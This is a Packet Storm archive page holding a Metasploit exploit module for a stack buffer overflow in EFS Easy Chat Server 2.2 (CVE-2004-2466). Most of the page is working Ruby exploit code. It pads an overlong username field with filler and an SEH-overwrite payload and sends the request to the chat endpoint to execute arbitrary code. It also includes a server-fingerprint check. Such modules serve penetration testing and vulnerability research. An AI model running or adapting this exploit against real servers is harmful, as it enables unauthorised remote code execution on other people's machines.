what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

EFS Easy Chat Server Authentication Request Handling Buffer Overflow

EFS Easy Chat Server Authentication Request Handling Buffer Overflow
Posted Nov 26, 2009
Authored by LSO | Site metasploit.com

This Metasploit module exploits a stack overflow in EFS Software Easy Chat Server. By sending a overly long authentication request, an attacker may be able to execute arbitrary code.

tags | exploit, overflow, arbitrary
advisories | CVE-2004-2466
SHA-256 | b25a657300165a05fe6bb28cb77d8a093f461159615cd10f038a9d2f3bf0cbf9

EFS Easy Chat Server Authentication Request Handling Buffer Overflow

Change Mirror Download
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'EFS Easy Chat Server Authentication Request Handling Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in EFS Software Easy Chat Server. By
sending a overly long authentication request, an attacker may be able to execute
arbitrary code.
},
'Author' => [ 'LSO <lso[@]hushmail.com>' ],
'License' => BSD_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2004-2466' ],
[ 'OSVDB', '7416' ],
[ 'BID', '25328' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Easy Chat Server 2.2', { 'Ret' => 0x1001b2b6 } ], # patrickw OK 20090302 w2k
],
'DisclosureDate' => 'Aug 14 2007',
'DefaultTarget' => 0))

register_options( [ Opt::RPORT(80) ], self.class )
end

def check
res = send_request_raw

if res and res['Server'] =~ /Easy Chat Server\/1.0/
return Exploit::CheckCode::Appears
end

return Exploit::CheckCode::Safe
end

def exploit
# randomize some values.
val = rand_text_alpha(rand(10) + 1)
num = rand_text_numeric(1)

# exploit buffer.
filler = rand_text_alpha(216)
seh = generate_seh_payload(target.ret)
juju = filler + seh

uri = "/chat.ghp?username=#{juju}&password=#{val}&room=2&#{val}=#{num}"

print_status("Trying target #{target.name}...")

send_request_raw({'uri' => uri}, 5)

handler
disconnect
end

end

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close